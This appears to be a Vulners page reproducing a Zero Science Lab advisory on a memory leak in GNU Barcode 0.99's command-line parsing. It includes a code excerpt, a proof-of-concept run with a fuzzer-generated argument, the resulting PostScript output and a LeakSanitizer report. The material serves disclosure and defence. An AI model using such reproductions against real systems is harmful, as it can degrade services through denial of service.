Vulners
Lucene search
GNU Barcode 0.99 Memory Leak
<html><body><p>GNU Barcode 0.99 Memory Leak
Vendor: The GNU Project | Free Software Foundation, Inc.
Product web page: https://www.gnu.org/software/barcode/
https://directory.fsf.org/wiki/Barcode
Affected version: 0.99
Summary: GNU Barcode is a tool to convert text strings to printed bars.
It supports a variety of standard codes to represent the textual strings
and creates postscript output.
Desc: GNU Barcode suffers from a memory leak vulnerability, which can be exploited
by malicious people to cause a DoS (Denial of Service). The vulnerability is
caused due to an error in the 'cmdline.c', which can be exploited to cause a
memory leak via a specially crafted file. The vulnerability is confirmed in
version 0.99. Other versions may also be affected.
=================================================================================
cmdline.c:
----------
128: int commandline(struct commandline *args, int argc, char **argv,
129: char *errorhead)
130: {
131: struct commandline *ptr;
132: char *getopt_desc = (char *)calloc(512, 1);
133: int desc_offset = 0;
134: int opt, retval;
135: char *value;
=================================================================================
Tested on: Ubuntu 16.04.4
Vulerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5471
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5471.php
09.12.2017
--
lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -b id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog
%%Page: 1 1
% Printing barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128", scaled 1.00, encoded using "code 128-B"
% The space/bar succession is represented by the following widths (space first):
% 02112141341111132221411221212411211241142121224111122141142121132221421121412213212211231221231221231221231222211322212311122321142121421121221143212211231222231121122321142121212411411223212211231221231221231221231221231221231221122321341111112423212211224111211244112121341111411221122321212411122141112423212211232212232113112221321132331112
[
% height xpos ypos width height xpos ypos width
[75.00 11.00 15.00 1.85] [75.00 13.50 15.00 0.85]
[75.00 16.50 15.00 0.85] [70.00 21.50 20.00 0.85]
[70.00 27.00 20.00 3.85] [70.00 30.50 20.00 0.85]
[70.00 32.50 20.00 0.85] [70.00 35.50 20.00 2.85]
[70.00 40.00 20.00 1.85] [70.00 43.50 20.00 0.85]
[70.00 48.50 20.00 0.85] [70.00 51.00 20.00 1.85]
[70.00 54.50 20.00 0.85] [70.00 57.50 20.00 0.85]
[70.00 62.00 20.00 3.85] [70.00 65.50 20.00 0.85]
[70.00 68.50 20.00 0.85] [70.00 71.00 20.00 1.85]
[70.00 76.50 20.00 0.85] [70.00 80.00 20.00 3.85]
[70.00 84.50 20.00 0.85] [70.00 87.50 20.00 0.85]
[70.00 91.00 20.00 1.85] [70.00 96.50 20.00 0.85]
[70.00 98.50 20.00 0.85] [70.00 101.00 20.00 1.85]
[70.00 104.50 20.00 0.85] [70.00 109.50 20.00 0.85]
[70.00 113.00 20.00 3.85] [70.00 117.50 20.00 0.85]
[70.00 120.50 20.00 0.85] [70.00 123.50 20.00 2.85]
[70.00 128.00 20.00 1.85] [70.00 131.50 20.00 0.85]
[70.00 137.00 20.00 1.85] [70.00 139.50 20.00 0.85]
[70.00 142.50 20.00 0.85] [70.00 147.50 20.00 0.85]
[70.00 151.00 20.00 1.85] [70.00 154.50 20.00 2.85]
[70.00 158.50 20.00 0.85] [70.00 162.00 20.00 1.85]
[70.00 164.50 20.00 0.85] [70.00 168.50 20.00 2.85]
[70.00 172.00 20.00 1.85] [70.00 175.50 20.00 0.85]
[70.00 179.50 20.00 2.85] [70.00 183.00 20.00 1.85]
[70.00 186.50 20.00 0.85] [70.00 190.50 20.00 2.85]
[70.00 194.00 20.00 1.85] [70.00 197.50 20.00 0.85]
[70.00 201.50 20.00 2.85] [70.00 205.00 20.00 1.85]
[70.00 209.00 20.00 1.85] [70.00 212.50 20.00 0.85]
[70.00 215.50 20.00 2.85] [70.00 220.00 20.00 1.85]
[70.00 223.50 20.00 0.85] [70.00 227.50 20.00 2.85]
[70.00 230.50 20.00 0.85] [70.00 233.00 20.00 1.85]
[70.00 237.50 20.00 2.85] [70.00 241.50 20.00 0.85]
[70.00 245.00 20.00 3.85] [70.00 249.50 20.00 0.85]
[70.00 252.50 20.00 0.85] [70.00 258.00 20.00 1.85]
[70.00 260.50 20.00 0.85] [70.00 263.50 20.00 0.85]
[70.00 267.00 20.00 1.85] [70.00 269.50 20.00 0.85]
[70.00 275.50 20.00 2.85] [70.00 279.50 20.00 0.85]
[70.00 283.00 20.00 1.85] [70.00 285.50 20.00 0.85]
[70.00 289.50 20.00 2.85] [70.00 293.00 20.00 1.85]
[70.00 297.00 20.00 1.85] [70.00 301.50 20.00 2.85]
[70.00 304.50 20.00 0.85] [70.00 307.50 20.00 0.85]
[70.00 310.00 20.00 1.85] [70.00 314.50 20.00 2.85]
[70.00 318.50 20.00 0.85] [70.00 322.00 20.00 3.85]
[70.00 326.50 20.00 0.85] [70.00 329.50 20.00 0.85]
[70.00 332.50 20.00 0.85] [70.00 337.00 20.00 3.85]
[70.00 340.50 20.00 0.85] [70.00 345.50 20.00 0.85]
[70.00 348.00 20.00 1.85] [70.00 352.50 20.00 2.85]
[70.00 356.50 20.00 0.85] [70.00 360.00 20.00 1.85]
[70.00 362.50 20.00 0.85] [70.00 366.50 20.00 2.85]
[70.00 370.00 20.00 1.85] [70.00 373.50 20.00 0.85]
[70.00 377.50 20.00 2.85] [70.00 381.00 20.00 1.85]
[70.00 384.50 20.00 0.85] [70.00 388.50 20.00 2.85]
[70.00 392.00 20.00 1.85] [70.00 395.50 20.00 0.85]
[70.00 399.50 20.00 2.85] [70.00 403.00 20.00 1.85]
[70.00 406.50 20.00 0.85] [70.00 410.50 20.00 2.85]
[70.00 414.00 20.00 1.85] [70.00 417.50 20.00 0.85]
[70.00 421.50 20.00 2.85] [70.00 425.00 20.00 1.85]
[70.00 428.50 20.00 0.85] [70.00 431.00 20.00 1.85]
[70.00 435.50 20.00 2.85] [70.00 439.50 20.00 0.85]
[70.00 445.00 20.00 3.85] [70.00 448.50 20.00 0.85]
[70.00 450.50 20.00 0.85] [70.00 452.50 20.00 0.85]
[70.00 457.00 20.00 3.85] [70.00 462.50 20.00 2.85]
[70.00 466.50 20.00 0.85] [70.00 470.00 20.00 1.85]
[70.00 472.50 20.00 0.85] [70.00 476.00 20.00 1.85]
[70.00 481.50 20.00 0.85] [70.00 483.50 20.00 0.85]
[70.00 486.50 20.00 0.85] [70.00 489.00 20.00 1.85]
[70.00 496.00 20.00 3.85] [70.00 499.50 20.00 0.85]
[70.00 502.50 20.00 0.85] [70.00 505.50 20.00 0.85]
[70.00 511.00 20.00 3.85] [70.00 514.50 20.00 0.85]
[70.00 516.50 20.00 0.85] [70.00 521.50 20.00 0.85]
[70.00 524.00 20.00 1.85] [70.00 527.50 20.00 0.85]
[70.00 530.00 20.00 1.85] [70.00 534.50 20.00 2.85]
[70.00 538.50 20.00 0.85] [70.00 541.50 20.00 0.85]
[70.00 546.00 20.00 3.85] [70.00 549.50 20.00 0.85]
[70.00 552.00 20.00 1.85] [70.00 555.50 20.00 0.85]
[70.00 560.50 20.00 0.85] [70.00 562.50 20.00 0.85]
[70.00 567.00 20.00 3.85] [70.00 572.50 20.00 2.85]
[70.00 576.50 20.00 0.85] [70.00 580.00 20.00 1.85]
[70.00 582.50 20.00 0.85] [70.00 586.50 20.00 2.85]
[70.00 591.00 20.00 1.85] [70.00 594.00 20.00 1.85]
[70.00 598.50 20.00 2.85] [70.00 602.50 20.00 0.85]
[70.00 605.50 20.00 2.85] [70.00 608.50 20.00 0.85]
[70.00 612.00 20.00 1.85] [70.00 615.50 20.00 0.85]
[70.00 620.00 20.00 1.85] [70.00 622.50 20.00 0.85]
[75.00 627.00 15.00 1.85] [75.00 632.50 15.00 2.85]
[75.00 635.50 15.00 0.85] [75.00 638.00 15.00 1.85]
] { {} forall setlinewidth moveto 0 exch rlineto stroke} bind forall
[
% char xpos ypos fontsize
[(o) 21.00 10.00 12.00]
[(/) 32.00 10.00 0.00]
[(c) 43.00 10.00 0.00]
[(r) 54.00 10.00 0.00]
[(a) 65.00 10.00 0.00]
[(s) 76.00 10.00 0.00]
[(h) 87.00 10.00 0.00]
[(e) 98.00 10.00 0.00]
[(s) 109.00 10.00 0.00]
[(/) 120.00 10.00 0.00]
[(i) 131.00 10.00 0.00]
[(d) 142.00 10.00 0.00]
[(:) 153.00 10.00 0.00]
[(0) 164.00 10.00 0.00]
[(0) 175.00 10.00 0.00]
[(0) 186.00 10.00 0.00]
[(0) 197.00 10.00 0.00]
[(3) 208.00 10.00 0.00]
[(4) 219.00 10.00 0.00]
[(,) 230.00 10.00 0.00]
[(s) 241.00 10.00 0.00]
[(i) 252.00 10.00 0.00]
[(g) 263.00 10.00 0.00]
[(:) 274.00 10.00 0.00]
[(0) 285.00 10.00 0.00]
[(6) 296.00 10.00 0.00]
[(,) 307.00 10.00 0.00]
[(s) 318.00 10.00 0.00]
[(r) 329.00 10.00 0.00]
[(c) 340.00 10.00 0.00]
[(:) 351.00 10.00 0.00]
[(0) 362.00 10.00 0.00]
[(0) 373.00 10.00 0.00]
[(0) 384.00 10.00 0.00]
[(0) 395.00 10.00 0.00]
[(0) 406.00 10.00 0.00]
[(0) 417.00 10.00 0.00]
[(,) 428.00 10.00 0.00]
[(o) 439.00 10.00 0.00]
[(p) 450.00 10.00 0.00]
[(:) 461.00 10.00 0.00]
[(h) 472.00 10.00 0.00]
[(a) 483.00 10.00 0.00]
[(v) 494.00 10.00 0.00]
[(o) 505.00 10.00 0.00]
[(c) 516.00 10.00 0.00]
[(,) 527.00 10.00 0.00]
[(r) 538.00 10.00 0.00]
[(e) 549.00 10.00 0.00]
[(p) 560.00 10.00 0.00]
[(:) 571.00 10.00 0.00]
[(1) 582.00 10.00 0.00]
[(2) 593.00 10.00 0.00]
[(8) 604.00 10.00 0.00]
] { {} forall dup 0.00 ne {
/Helvetica findfont exch scalefont setfont
} {pop} ifelse
moveto show} bind forall
% End barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128"
showpage
%%Trailer
=================================================================
==2183==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 512 byte(s) in 1 object(s) allocated from:
#0 0x7fcb3aca179a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x407be2 in commandline /home/lqwrm/research/barcode-0.99/cmdline.c:132
Direct leak of 55 byte(s) in 1 object(s) allocated from:
#0 0x7fcb3aca1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fcb3a8ca489 in __strdup (/lib/x86_64-linux-gnu/libc.so.6+0x8b489)
SUMMARY: AddressSanitizer: 567 byte(s) leaked in 2 allocation(s).
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 May 2018 00:00Current
5.8Medium risk
Vulners AI Score5.8